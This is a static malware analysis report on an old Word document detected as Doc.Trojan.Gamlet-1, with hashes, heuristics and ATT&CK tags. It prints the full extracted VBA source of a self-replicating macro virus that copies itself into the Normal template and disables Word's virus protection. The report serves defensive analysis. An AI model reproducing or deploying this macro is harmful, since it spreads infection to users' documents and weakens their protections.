Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 303785fa1ffb8c0b…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-09-04 13:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 26bf4b50938571cb786ae23a4abc8804 SHA-1: b138e776e02516bf3e82dd7ba6a6537caf63f09a SHA-256: 303785fa1ffb8c0b3313c33ca14da4e31b994cc5ad46b1b1bc56cef8b291dde4
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits critical heuristic firings indicating the presence of legacy WordBasic and VBA macros, specifically an Auto_Close macro. The ClamAV detection 'Doc.Trojan.Gamlet-1' strongly suggests malicious intent. The AutoClose macro attempts to copy itself between the active document and the Normal template, a common technique for persistence or spreading.

Heuristics 4

  • ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gamlet-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1174 bytes
SHA-256: 4f5acf7a2047a6a0098fa0bf487b7c7ec053f87a761e1aff780acf435a94bd29
Detection
ClamAV: Doc.Trojan.Gamlet-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Gamlet"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e1:

On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems
e2:


End Sub

Sub AutoExec()
    Options.VirusProtection = False
End Sub




Sub ToolsMacro()
'    Dialogs(wdDialogToolsMacro).Show
With Assistant
    .Visible = True
    .Animation = 24
End With

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.